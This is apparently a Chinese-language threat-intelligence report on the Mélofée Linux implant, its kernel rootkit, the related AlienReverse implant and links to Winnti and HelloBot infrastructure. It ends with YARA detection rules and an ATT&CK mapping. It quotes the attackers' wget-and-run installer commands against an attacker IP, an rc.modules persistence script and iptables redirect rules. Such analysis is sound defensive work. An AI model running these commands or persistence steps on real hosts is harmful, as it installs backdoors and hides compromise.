在这篇博文中,我们将首先分析该恶意软件家族提供的功能,其中包括内核模式 Rootkit,然后深入基础设施枢纽迷宫以发现相关的对手工具集。
我们发现了这个恶意软件家族的三个样本,我们将其命名为Mélofée。
其中两个样本包含版本号 ( 20220111
, 20220308
),我们评估最后一个样本的日期可能是 2022 年 4 月下旬或 2022 年 5 月。
所有这些样本都共享一个通用代码库,但在以下领域不断发展:
通信协议和数据包格式的演变
更改配置的加密,首先使用RC4
然后使用简单的xor
SelfForwardServer
一个功能的开发
最后,在最后一个示例中包含一个内核模式 rootkit。
我们发现的第一个样本删除了一个基于开源项目Reptile
1修改版本的 Rootkit 。
根据vermagic
元数据,它被编译为一个内核版本5.10.112-108.499.amzn2.x86_64
。Rootkit 的功能有限,主要是安装一个用于隐藏自身的挂钩。
rootkit 挂钩函数fillonedir
,filldir
以便在列出目录时filldir64
不显示名称包含intel_audio
或的文件。rc.modules
它还挂钩inet_ioctl
函数,以便能够使用ioctl
系统调用与其用户空间部分进行通信。内核 rootkit 期望 userland 组件在 IOCTL 调用期间发送一个值0xe0e0e0e
,支持 2 个命令(这两个命令是hide
和show
)。
rootkit 由安装程序和服务器组件通过调用该insmod
实用程序加载。
植入程序和 rootkit 是使用 shell 命令安装的,从对手控制的服务器下载安装程序和自定义二进制包。此行为类似于Winnti Linux rootkit 的安装过程。
wget http://173.209.62[.]186:8765/installer -O /var/tmp/installer
wget http://173.209.62[.]186:8765/a.dat -O /var/tmp/usbd;
chmod +x /var/tmp/installer;
/var/tmp/installer -i /var/tmp/usbd
安装程序也是在 中开发的C++
,以二进制包为参数。然后它继续提取并安装 rootkit 和服务器组件。Rootkit 和植入路径分别被硬编码到/etc/intel_audio/intel_audio.ko
安装/etc/intel_audio/audio
程序使用对 的调用插入内核 Rootkit system("insmod /etc/intel_audio/intel_audio.ko")
,并在/etc/rc.modules
文件中安装持久性。
写入此脚本可确保内核和植入程序都在启动时执行2。
安装后生成的脚本如下所示:
#!/bin/sh
#Script for starting modules
/sbin/insmod /etc/intel_audio/intel_audio.ko
/etc/intel_audio/audio
#End script
包的第一个字节包括有效载荷的偏移量(小端),用于正确提取内核 rootkit 和服务器植入程序。
00000000: b07e 0000 a841 3000 7f45 4c46 0201 0100 .~...A0..ELF....
00000010: 0000 0000 0000 0000 0100 3e00 0100 0000 ..........>.....
00000020: 0000 0000 0000 0000 0000 0000 0000 0000 ................
开发人员也很友好地包含了一个usage
描述安装程序选项的函数:
void usage(undefined8 param_1)
{
printf("Usage: <%s> [options]\n",param_1);
puts(" -r Remove");
puts(" -i <data file> Install");
puts(" -d Run in background");
puts(" -h Show help");
return;
}
配置在两个早期样本中使用RC4算法加密,在未注明日期的样本中使用简单的xor
单字节密钥 ( )。0x43
配置格式在样本之间发生了变化,第一个样本包含所有加密形式的元素,最后一个样本仅加密 C&C 域。
解密配置示例:
1:www.data-yuzefuji[.]com:443:5
此配置包含以下元素:
套接字类型(0x1
正在TCP
)
C&C域
通讯端口
请求之间的睡眠时间(以分钟为单位)
植入物具有两种持久性机制,具体取决于其运行权限。如果它以root
用户身份运行,它会尝试sh -c IMPLANT_EXECUTABLE_NAME >/dev/null 2>&
在文件/etc/rc.local
或/etc/rc.d/rc.local
.
如果它以简单用户身份运行,它将尝试在以下文件中安装其持久性:
/home/CURRENT_USERNAME/.bash_profile
/home/CURRENT_USERNAME/.bash_login
/home/CURRENT_USERNAME/.profile
Rootkit 安装程序将在文件中插入内核模块的持久性/etc/rc.modules
。
植入物支持的命令在样本之间发生了变化,显示了后门的当前发展。
前两个版本:
最新版本:
通信协议在三个分析样本中得到了发展,但是实现了三种套接字类型:
TCPSocket
(类型0x0
)使用原始 TCP,具有如下所述的自定义数据包格式;
TLSSocket
(type 0x1
),使用TLS加密通道与C&C服务器进行交互;
UDPSocket
(type 0x2
),使用KCP
协议3发送数据。应该注意的是,该KCP
协议是一个公共通信库,并且还用于多个恶意软件家族,例如Amoeba 4或CrossWalk 5;
一些剩余代码似乎表明可能存在第三种0x3
基于 HTTP 的通信类型,但它并未在分析的示例中实现。
虽然数据在两个样本中没有以任何形式加密,但在最后一个样本中,它使用RC4
带有硬编码密钥的算法加密(\x01\x02\x03\x04
重复 4 次)。
Mélofée使用的数据包格式如下:
struct Packet202201_3 {
unsigned int dwCommand;
unsigned int dwCommandResult;
unsigned int dwUnknown;
unsigned int dwDataSize;
char [] clear_text_data;
}
struct Packet202205 {
unsigned int dwUnknown;
unsigned int dwRandom1;
unsigned int dwRandom2;
unsigned int dwCommandResult;
unsigned int dwCommandID;
unsigned int dwCommandSize;
char [] encrypted_data;
}
SelfForwardServer
和监听服务器在最新的示例中,实现了一个名为SelfForwardServer
.
根据配置标志,植入程序可以安装iptables
规则以从端口重定向 TCP 网络流量57590
安装这些规则的步骤如下:
首先使用以下命令创建名为的新NAT链:XFILTER
iptables -t nat -N %s
为此NAT链中的端口添加重定向规则:iptables -t nat -A %s -p tcp -j REDIRECT --to-port %d
使用名称保存来自端口 45535 的最近连接ipxles
:iptables -t nat -A PREROUTING -p tcp --sport 45535 -m recent --set --name %s --rsource -j ACCEPT
ipxles
将最近的连接重定向到NAT链:iptables -t nat -A PREROUTING -p tcp --dport %d --syn -m recent --rcheck --seconds 300 --name %s --rsource -j %s
57590
最后,使用命令指示主机接受端口上的网络流量iptables -I INPUT -p tcp --dport %d -j ACCEPT
应该注意的是,虽然SelfForwardServer
在配置中被停用,但样本嵌入了生成的自签名证书2021-06-03
和相应的私钥,用于在Server
模式中保护通信。
一些底层代码也出现在两个较早的示例中(如剩余RTTI
信息所记录的那样),并且可以使用三种类型的服务器:
TCPServer
(类型0x00
)
TLServer
(类型0x1
)
UDPServer
(类型0x2
)
这段代码的一个有趣的花絮隐藏在函数中receive
(TLSServer
位于0x429b7a
未注明日期的示例中的地址)。当此函数使用库调用接收到的前 4 个字节recv
为 时03 01 d3 76
,会设置影响后续套接字创建的标志。然而,我们无法准确地确定这种魔法的目的。
由于存在未使用的代码以及样本之间的演变,我们评估 和Server
目前SelfForwardServer
正在由攻击者开发。
我们分析了攻击者使用 pivot 在公共和私有数据集上使用的基础设施。我们评估该恶意软件系列可能与Amoeba ant Winnti 4 6 7 8国家赞助的威胁组织有关。
Mélofée植入物的基础设施与以下工具相关联:
一些服务器被我们的网络威胁情报跟踪为ShadowPad C&C 服务器;
其他服务器链接到Winnti和HelloBot工具;
我们还看到相关域用作PlugX、Spark 9、Cobalt Strike、StowAway 10和合法的toDesk远程控制工具等工具的 C&C 服务器;
最后,攻击者可能还使用了ezXSS 11工具,但我们无法确认原因。
HelloBot是一个也针对 Linux 主机的恶意软件家族,并且已知被Earth Berberoka 6等 APT 组织使用。在以Mélofée基础设施为中心时,我们发现了一个带有HelloBot样本的通用 IP,这提供了另一个挖掘点。
我们发现了该恶意软件的几个样本,并开发了一个自定义配置提取脚本(在本博文的附件中提供)。
使用提取的配置,我们还能够找到HelloBot和Winnti之间强大的基础设施链接,例如,两者都使用了C&C 服务器的git1ab[.]com
子域cloudf1are[.]com
。
C&C 服务器在 443 端口上的 IP 地址发出的响应173.209.62.186
可以唯一链接到另一个域dev.yuanta.dev
。已知此服务器用于暂存包含 Linux 版本的Winnti rootkit 7安装程序的存档。
我们还下载了这个恶意软件家族的几个样本,提取了配置(使用Chronicle提供的脚本),并找到了HelloBot和Winnti之间的几个共同域,例如cloudf1are[.]com
和git1ab[.com
.
使用之前的数据点,我们生成了一个基础结构图来绘制样本之间的关系。
在我们的分析过程中,我们发现了另一个名为AlienReverse的 Linux 植入程序。
此代码的架构方式与Mélofée类似,但有几个重要区别:
通信协议的数据使用pel_decrypt
项目pel_encrypt
1Reptile
进行加密。
命令 ID 不同,如下所示
该工具包括其他几个公共工具,例如EarthWorm
12和socks_proxy
13。
然而, Mélofée和AlienReverse之间有一些共同点
两种植入物都是在C++
两个植入程序都使用一个具有固定 ID 的文件来确保只有一个植入程序在运行(此代码在 public 14/var/tmp/%s.lock
中找到,但似乎很少在野外使用)
该植入物实现了类似的限制工作时间的机制(定义为worktime
)
该植入物支持的命令如下:
通信协议使用的数据包格式与Mélofée使用的非常相似:
struct AlienComzPacket {
unsigned int dwTickCount;
unsigned int dwMagic1; // 0xa003001
unsigned int dwMagic2; // 0x10000137, also used to indicate if the packet has data
unsigned int dwCommandID;
unsigned int dwTotalSize;
unsigned int dwEncryptedSize;
unsigned int ;
char [] data; // The data encrypted using pel_encrypt
}
虽然我们最初认为这个样本与Mélofée家族有关,但我们得出的结论是它是一个独特的工具。但是,我们决定将其包含在本报告中,因为它被用作本次调查的起点,我们认为与公众分享它很重要。
我们也无法将它与已知的敌对组织联系起来,但我们评估它可能用于有针对性的攻击。
rule UNK_APT_MelofeeImplant {
meta:
author = "Exatrack"
date = "2023-03-03"
update = "2023-03-03"
description = "Detects the Melofee implant"
tlp = "CLEAR"
sample_hash = "a5a4284f87fd475b9474626040d289ffabba1066fae6c37bd7de9dabaf65e87a,f3e35850ce20dfc731a6544b2194de3f35101ca51de4764b8629a692972bef68,8d855c28744dd6a9c0668ad9659baf06e5e448353f54d2f99beddd21b41390b7"
strings:
$str_melofee_implant_01 = "10PipeSocket"
$str_melofee_implant_02 = "ikcp_ack_push"
$str_melofee_implant_03 = "TLSSocketEE"
$str_melofee_implant_04 = "/tmp/%s.lock"
$str_melofee_implant_05 = "neosmart::WaitForMultipleEvents"
$str_melofee_implant_06 = "9TLSSocket"
$str_melofee_implant_07 = "7VServer"
$str_melofee_implant_08 = "N5boost6detail13sp_ms_deleterI13UdpSocketWrapEE"
$str_melofee_implant_09 = "UdpServerWrap"
$str_melofee_implant_10 = "KcpUpdater"
$str_melofee_implant_11 = "SelfForwardServer"
$str_command_parsing_01 = {3? 01 00 05 00 ?? ?? ?? ?? 00 00 3? 01 00 05 00 ?? ?? 3? 05 00 04 00}
$str_command_parsing_02 = {3? 04 00 04 00 ?? ?? ?? ?? 00 00 3? 04 00 04 00 ?? ?? 3? 05 00 01 00}
$str_command_parsing_03 = {3? 01 00 07 00 ?? ?? ?? ?? 00 00 3? 01 00 09 00 ?? ?? ?? ?? ?? 00 3? 01 00 06 00 }
condition:
3 of them
}
rule UNK_APT_Melofee_Installer {
meta:
author = "Exatrack"
date = "2023-03-15"
update = "2023-03-15"
description = "Detects the installer for melofee malware"
score = 80
tlp = "AMBER"
source = "Exatrack"
sample_hash = "758b0934b7adddb794951d15a6ddcace1fa523e814aa40b55e2d071cf2df81f0"
strings:
$str_melofee_installer_01 = "#Script for starting modules"
$str_melofee_installer_02 = "#End script"
$str_melofee_installer_03 = "/etc/intel_audio/"
$str_melofee_installer_04 = "rm -fr /etc/rc.modules"
$str_melofee_installer_05 = "-i <data file> Install"
$str_melofee_installer_06 = "cteate home folder failed"
$str_melofee_installer_07 = "create rootkit file failed"
$str_melofee_installer_08 = "create auto start file failed"
$str_melofee_installer_09 = "Remove Done!" // only 3 files on VT with this :D
$str_melofee_installer_10 = "Unkown option %c\n"
condition:
any of them
}
rule UNK_APT_Alien_Implant {
meta:
author = "Exatrack"
date = "2023-03-03"
update = "2023-03-03"
description = "Detects an unknown implant from AlienManager family, maybe related to melofee"
tlp = "CLEAR"
sample_hash = "3535f45bbfafda863665c41d97d894c39277dfd9af1079581d28015f76669b88,"
strings:
$str_alien_01 = "[+] Connect %s Successed,Start Transfer..."
$str_alien_02 = "Alloc buffer to decrypt data error, length == %d."
$str_alien_03 = "pel_decrypt_msg data error, error"
$str_alien_04 = "encrypt data error, length == %d."
$str_alien_05 = "DoRecvOverlapInternal error!"
$str_alien_06 = "Socks Listen port is %d,Username is %s, password is %s"
$str_alien_07 = "Start port mapping error! remoteAddr=%s remotePort=%d localAddr=%s localPort=%d"
$str_alien_08 = "OnCmdSocksStart error!"
$str_alien_09 = "The master isn't readable!"
$str_alien_10 = "ConnectBypassSocks proxy:%s:%d error!"
$str_alien_11 = "ConnectBypassSocks to %s %d"
$str_alien_12 = "now datetime: %d-%d-%d %d:%d:%d"
$str_alien_13 = "Not during working hours! Disconnect!"
$str_alien_14 = "Example: ./AlienReverse --reverse-address=192.168.1.101:80 --reverse-password=123456"
$str_alien_15 = "Not during working hours! Disconnect!"
$str_alien_16 = "SocksManager.cpp"
$str_alien_17 = "connect() in app_connect"
$str_alien_18 = "They send us %hhX %hhX"
$str_alien_19 = "your input directory is not exist!"
$str_alien_20 = "Send data to local error ==> %d.\n"
condition:
any of them
}
T1583.001 - 攻击者获取了用于部署和命令与控制的服务器
T5183.004 - 攻击者获取域
T1071.001 - 攻击者使用应用层协议作为 C2
T1587.001 - 对手开发自定义恶意软件来实现其攻击
T1037.004 - 对手使用 RC 脚本作为持久性
T1059.004 - 攻击者使用 Unix shell 命令和脚本
T1132.002 - 使用 KCP 的非标准编码
T1573.001 - 攻击者使用 RC4 加密其 C2 流量
T1083 - 文件和目录发现
T1592.002 - 攻击者发现已安装的 Linux 发行版
T1564.001 - 对手使用 rootkit 隐藏文件
T1562.003 - 攻击者在执行命令时禁用 shell 历史记录
T1070.004 - 攻击者可以从系统中删除植入程序、rootkit 及其配置
T1599.001 - 攻击者可以修改受感染主机的防火墙规则
T1095 - 对手可以使用 UDP 作为通信层
T1571 - 对手可以使用替代端口进行通信
T1027.002 - HelloBot 植入物使用 UPX 包装并附加了配置
T1027.007 - 对手有效载荷被剥离
T1588.001 - 对手可能购买或下载恶意软件
T1588.002 - 对手可能会购买或下载 Cobalt Strike 等工具
T1057 - 对手可能会列出在受感染主机上执行的进程
T1572 - 对手可能会隧道网络通信
T1090 - 对手可能使用连接代理来访问内部资源
T1014 - 对手使用 rootkit
T1608.001 - 对手将其恶意软件上传到其基础设施以进行部署
T1608.002 - 对手将其工具上传到其基础设施
T1082 - 对手获得有关受感染主机的详细信息,例如操作系统版本
T1497.003 - 对手使用基于时间的方法来避免检测
参考阅读:
https://github.com/f0rb1dd3n/Reptile
https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/5/html/deployment_guide/s1-kernel-modules-persistant
https://github.com/skywind3000/kcp
https://i.blackhat.com/Asia-22/Thursday-Materials/AS-22-LeonSilvia-NextGenPlugXShadowPad.pdf
https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/higaisa-or-winnti-apt-41-backdoors-old-and-new/
https://documents.trendmicro.com/assets/white_papers/wp-operation-earth-berberoka.pdf
https://medium.com/chronicle-blog/winnti-more-than-just-windows-and-gates-e4f03436031a
https://www.recordedfuture.com/chinese-group-tag-22-targets-nepal-philippines-taiwan
https://github.com/XZB-1248/Spark
https://github.com/ph4ntonn/Stowaway
https://github.com/ssl/ezXSS
http://rootkiter.com/EarthWorm/
https://github.com/fgssfgss/socks_proxy
https://blog.csdn.net/weixin_29100927/article/details/116577862